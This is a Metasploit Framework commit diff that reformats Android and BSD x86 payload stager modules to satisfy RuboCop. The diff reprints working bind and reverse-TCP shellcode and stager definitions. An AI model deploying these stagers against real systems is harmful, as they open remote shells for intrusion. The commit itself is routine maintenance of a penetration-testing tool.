Skip to content

Commit d505b96

Browse files
authored
Merge pull request rapid7#20062 from bcoles/rubocop-modules-payloads-stagers
modules/payloads/stagers: Resolve RuboCop violations
2 parents db5a82e + 991ffe4 commit d505b96

File tree

98 files changed

+2587
-2474
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

98 files changed

+2587
-2474
lines changed

modules/payloads/stagers/android/reverse_http.rb

Lines changed: 14 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -4,24 +4,26 @@
44
##
55

66
module MetasploitModule
7-
87
CachedSize = :dynamic
98

109
include Msf::Payload::Stager
1110
include Msf::Payload::Android
1211
include Msf::Payload::Android::ReverseHttp
1312

1413
def initialize(info = {})
15-
super(merge_info(info,
16-
'Name' => 'Android Reverse HTTP Stager',
17-
'Description' => 'Tunnel communication over HTTP',
18-
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
19-
'License' => MSF_LICENSE,
20-
'Platform' => 'android',
21-
'Arch' => ARCH_DALVIK,
22-
'Handler' => Msf::Handler::ReverseHttp,
23-
'Convention' => 'javaurl',
24-
'Stager' => {'Payload' => ''}
25-
))
14+
super(
15+
merge_info(
16+
info,
17+
'Name' => 'Android Reverse HTTP Stager',
18+
'Description' => 'Tunnel communication over HTTP',
19+
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
20+
'License' => MSF_LICENSE,
21+
'Platform' => 'android',
22+
'Arch' => ARCH_DALVIK,
23+
'Handler' => Msf::Handler::ReverseHttp,
24+
'Convention' => 'javaurl',
25+
'Stager' => { 'Payload' => '' }
26+
)
27+
)
2628
end
2729
end

modules/payloads/stagers/android/reverse_https.rb

Lines changed: 14 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -4,24 +4,26 @@
44
##
55

66
module MetasploitModule
7-
87
CachedSize = :dynamic
98

109
include Msf::Payload::Stager
1110
include Msf::Payload::Android
1211
include Msf::Payload::Android::ReverseHttps
1312

1413
def initialize(info = {})
15-
super(merge_info(info,
16-
'Name' => 'Android Reverse HTTPS Stager',
17-
'Description' => 'Tunnel communication over HTTPS',
18-
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
19-
'License' => MSF_LICENSE,
20-
'Platform' => 'android',
21-
'Arch' => ARCH_DALVIK,
22-
'Handler' => Msf::Handler::ReverseHttps,
23-
'Convention' => 'javaurl',
24-
'Stager' => {'Payload' => ''}
25-
))
14+
super(
15+
merge_info(
16+
info,
17+
'Name' => 'Android Reverse HTTPS Stager',
18+
'Description' => 'Tunnel communication over HTTPS',
19+
'Author' => ['anwarelmakrahy', 'OJ Reeves'],
20+
'License' => MSF_LICENSE,
21+
'Platform' => 'android',
22+
'Arch' => ARCH_DALVIK,
23+
'Handler' => Msf::Handler::ReverseHttps,
24+
'Convention' => 'javaurl',
25+
'Stager' => { 'Payload' => '' }
26+
)
27+
)
2628
end
2729
end

modules/payloads/stagers/android/reverse_tcp.rb

Lines changed: 14 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -4,24 +4,26 @@
44
##
55

66
module MetasploitModule
7-
87
CachedSize = :dynamic
98

109
include Msf::Payload::Stager
1110
include Msf::Payload::Android
1211
include Msf::Payload::Android::ReverseTcp
1312

1413
def initialize(info = {})
15-
super(merge_info(info,
16-
'Name' => 'Android Reverse TCP Stager',
17-
'Description' => 'Connect back stager',
18-
'Author' => ['mihi', 'egypt'],
19-
'License' => MSF_LICENSE,
20-
'Platform' => 'android',
21-
'Arch' => ARCH_DALVIK,
22-
'Handler' => Msf::Handler::ReverseTcp,
23-
'Convention' => 'javasocket',
24-
'Stager' => {'Payload' => ''}
25-
))
14+
super(
15+
merge_info(
16+
info,
17+
'Name' => 'Android Reverse TCP Stager',
18+
'Description' => 'Connect back stager',
19+
'Author' => ['mihi', 'egypt'],
20+
'License' => MSF_LICENSE,
21+
'Platform' => 'android',
22+
'Arch' => ARCH_DALVIK,
23+
'Handler' => Msf::Handler::ReverseTcp,
24+
'Convention' => 'javasocket',
25+
'Stager' => { 'Payload' => '' }
26+
)
27+
)
2628
end
2729
end

modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb

Lines changed: 21 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
###
87
#
98
# BindTcp
@@ -13,36 +12,37 @@
1312
#
1413
###
1514
module MetasploitModule
16-
1715
CachedSize = 63
1816

1917
include Msf::Payload::Stager
2018

2119
def self.handler_type_alias
22-
"bind_ipv6_tcp"
20+
'bind_ipv6_tcp'
2321
end
2422

2523
def initialize(info = {})
26-
super(merge_info(info,
27-
'Name' => 'Bind TCP Stager (IPv6)',
28-
'Description' => 'Listen for a connection over IPv6',
29-
'Author' => ['skape', 'vlad902', 'hdm'],
30-
'License' => MSF_LICENSE,
31-
'Platform' => 'bsd',
32-
'Arch' => ARCH_X86,
33-
'Handler' => Msf::Handler::BindTcp,
34-
'Stager' =>
35-
{
24+
super(
25+
merge_info(
26+
info,
27+
'Name' => 'Bind TCP Stager (IPv6)',
28+
'Description' => 'Listen for a connection over IPv6',
29+
'Author' => ['skape', 'vlad902', 'hdm'],
30+
'License' => MSF_LICENSE,
31+
'Platform' => 'bsd',
32+
'Arch' => ARCH_X86,
33+
'Handler' => Msf::Handler::BindTcp,
34+
'Stager' => {
3635
'Offsets' =>
37-
{
38-
'LPORT' => [ 26, 'n' ],
39-
},
36+
{
37+
'LPORT' => [ 26, 'n' ]
38+
},
4039
'Payload' =>
41-
"\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\x89\xc3\x31" +
42-
"\xd2\x52\x52\x52\x52\x52\x52\x68\x1c\x1c\xbf\xbf\x89\xe1\x6a\x1c" +
43-
"\x51\x50\x6a\x68\x58\x50\xcd\x80\xb0\x6a\xcd\x80\x52\x53\xb6\x10" +
44-
"\x52\xb0\x1e\xcd\x80\x51\x50\x51\x97\x6a\x03\x58\xcd\x80\xc3"
40+
"\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\x89\xc3\x31" \
41+
"\xd2\x52\x52\x52\x52\x52\x52\x68\x1c\x1c\xbf\xbf\x89\xe1\x6a\x1c" \
42+
"\x51\x50\x6a\x68\x58\x50\xcd\x80\xb0\x6a\xcd\x80\x52\x53\xb6\x10" \
43+
"\x52\xb0\x1e\xcd\x80\x51\x50\x51\x97\x6a\x03\x58\xcd\x80\xc3"
4544
}
46-
))
45+
)
46+
)
4747
end
4848
end

modules/payloads/stagers/bsd/x86/bind_tcp.rb

Lines changed: 20 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
###
87
#
98
# BindTcp
@@ -13,32 +12,33 @@
1312
#
1413
###
1514
module MetasploitModule
16-
1715
CachedSize = 54
1816

1917
include Msf::Payload::Stager
2018

2119
def initialize(info = {})
22-
super(merge_info(info,
23-
'Name' => 'Bind TCP Stager',
24-
'Description' => 'Listen for a connection',
25-
'Author' => 'skape',
26-
'License' => MSF_LICENSE,
27-
'Platform' => 'bsd',
28-
'Arch' => ARCH_X86,
29-
'Handler' => Msf::Handler::BindTcp,
30-
'Stager' =>
31-
{
20+
super(
21+
merge_info(
22+
info,
23+
'Name' => 'Bind TCP Stager',
24+
'Description' => 'Listen for a connection',
25+
'Author' => 'skape',
26+
'License' => MSF_LICENSE,
27+
'Platform' => 'bsd',
28+
'Arch' => ARCH_X86,
29+
'Handler' => Msf::Handler::BindTcp,
30+
'Stager' => {
3231
'Offsets' =>
33-
{
34-
'LPORT' => [ 0x8, 'n' ],
35-
},
32+
{
33+
'LPORT' => [ 0x8, 'n' ]
34+
},
3635
'Payload' =>
37-
"\x6a\x61\x58\x99\x52\x68\x10\x02\xbf\xbf\x89\xe1\x52\x42\x52\x42" +
38-
"\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0" +
39-
"\x6a\xcd\x80\x52\x53\xb6\x10\x52\xb0\x1e\xcd\x80\x51\x50\x51\x97" +
40-
"\x6a\x03\x58\xcd\x80\xc3"
36+
"\x6a\x61\x58\x99\x52\x68\x10\x02\xbf\xbf\x89\xe1\x52\x42\x52\x42" \
37+
"\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0" \
38+
"\x6a\xcd\x80\x52\x53\xb6\x10\x52\xb0\x1e\xcd\x80\x51\x50\x51\x97" \
39+
"\x6a\x03\x58\xcd\x80\xc3"
4140
}
42-
))
41+
)
42+
)
4343
end
4444
end

modules/payloads/stagers/bsd/x86/find_tag.rb

Lines changed: 19 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
###
87
#
98
# FindTag
@@ -13,31 +12,32 @@
1312
#
1413
###
1514
module MetasploitModule
16-
1715
CachedSize = 40
1816

1917
include Msf::Payload::Stager
2018

2119
def initialize(info = {})
22-
super(merge_info(info,
23-
'Name' => 'Find Tag Stager',
24-
'Description' => 'Use an established connection',
25-
'Author' => 'skape',
26-
'License' => MSF_LICENSE,
27-
'Platform' => 'bsd',
28-
'Arch' => ARCH_X86,
29-
'Handler' => Msf::Handler::FindTag,
30-
'Stager' =>
31-
{
20+
super(
21+
merge_info(
22+
info,
23+
'Name' => 'Find Tag Stager',
24+
'Description' => 'Use an established connection',
25+
'Author' => 'skape',
26+
'License' => MSF_LICENSE,
27+
'Platform' => 'bsd',
28+
'Arch' => ARCH_X86,
29+
'Handler' => Msf::Handler::FindTag,
30+
'Stager' => {
3231
'Offsets' =>
33-
{
34-
'TAG' => [ 0x1b, 'RAW' ],
35-
},
32+
{
33+
'TAG' => [ 0x1b, 'RAW' ]
34+
},
3635
'Payload' =>
37-
"\x31\xd2\x52\x89\xe6\x52\x52\xb2\x80\x52\xb6\x0c\x52\x56\x52\x52" +
38-
"\x66\xff\x46\xe8\x6a\x1d\x58\xcd\x80\x81\x3e\x6d\x73\x66\x21\x75" +
39-
"\xef\xfc\xad\x5a\x5f\x5a\xff\xe6"
36+
"\x31\xd2\x52\x89\xe6\x52\x52\xb2\x80\x52\xb6\x0c\x52\x56\x52\x52" \
37+
"\x66\xff\x46\xe8\x6a\x1d\x58\xcd\x80\x81\x3e\x6d\x73\x66\x21\x75" \
38+
"\xef\xfc\xad\x5a\x5f\x5a\xff\xe6"
4039
}
41-
))
40+
)
41+
)
4242
end
4343
end

modules/payloads/stagers/bsd/x86/reverse_ipv6_tcp.rb

Lines changed: 26 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
76
###
87
#
98
# ReverseTcp
@@ -13,44 +12,44 @@
1312
#
1413
###
1514
module MetasploitModule
16-
1715
CachedSize = 81
1816

1917
include Msf::Payload::Stager
2018

21-
2219
def self.handler_type_alias
23-
"reverse_ipv6_tcp"
20+
'reverse_ipv6_tcp'
2421
end
2522

2623
def initialize(info = {})
27-
super(merge_info(info,
28-
'Name' => 'Reverse TCP Stager (IPv6)',
29-
'Description' => 'Connect back to the attacker over IPv6',
30-
'Author' => ['skape', 'vlad902', 'hdm'],
31-
'License' => MSF_LICENSE,
32-
'Platform' => 'bsd',
33-
'Arch' => ARCH_X86,
34-
'Handler' => Msf::Handler::ReverseTcp,
35-
'Stager' =>
36-
{
24+
super(
25+
merge_info(
26+
info,
27+
'Name' => 'Reverse TCP Stager (IPv6)',
28+
'Description' => 'Connect back to the attacker over IPv6',
29+
'Author' => ['skape', 'vlad902', 'hdm'],
30+
'License' => MSF_LICENSE,
31+
'Platform' => 'bsd',
32+
'Arch' => ARCH_X86,
33+
'Handler' => Msf::Handler::ReverseTcp,
34+
'Stager' => {
3735
'Offsets' =>
38-
{
39-
'LHOST' => [ 42, 'ADDR6' ],
40-
'LPORT' => [ 36, 'n' ],
41-
'SCOPEID' => [ 58, 'V' ]
42-
},
36+
{
37+
'LHOST' => [ 42, 'ADDR6' ],
38+
'LPORT' => [ 36, 'n' ],
39+
'SCOPEID' => [ 58, 'V' ]
40+
},
4341
'Payload' =>
44-
"\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\xeb\x0e\x59" +
45-
"\x6a\x1c\x51\x50\x97\x6a\x62\x58\x50\xcd\x80\xeb\x21\xe8\xed\xff" +
46-
"\xff\xff\x1c\x1c\xbf\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
47-
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x6a\x10" +
48-
"\x5a\xc1\xe2\x08\x29\xd4\x89\xe1\x52\x51\x57\x51\xb0\x03\xcd\x80" +
49-
"\xc3"
42+
"\x31\xc0\x50\x40\x50\x6a\x1c\x6a\x61\x58\x50\xcd\x80\xeb\x0e\x59" \
43+
"\x6a\x1c\x51\x50\x97\x6a\x62\x58\x50\xcd\x80\xeb\x21\xe8\xed\xff" \
44+
"\xff\xff\x1c\x1c\xbf\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
45+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x6a\x10" \
46+
"\x5a\xc1\xe2\x08\x29\xd4\x89\xe1\x52\x51\x57\x51\xb0\x03\xcd\x80" \
47+
"\xc3"
5048
}
51-
))
49+
)
50+
)
5251
register_options([
53-
OptInt.new('SCOPEID', [false, "IPv6 scope ID, for link-local addresses", 0])
52+
OptInt.new('SCOPEID', [false, 'IPv6 scope ID, for link-local addresses', 0])
5453
])
5554
end
5655
end

0 commit comments

Comments
 (0)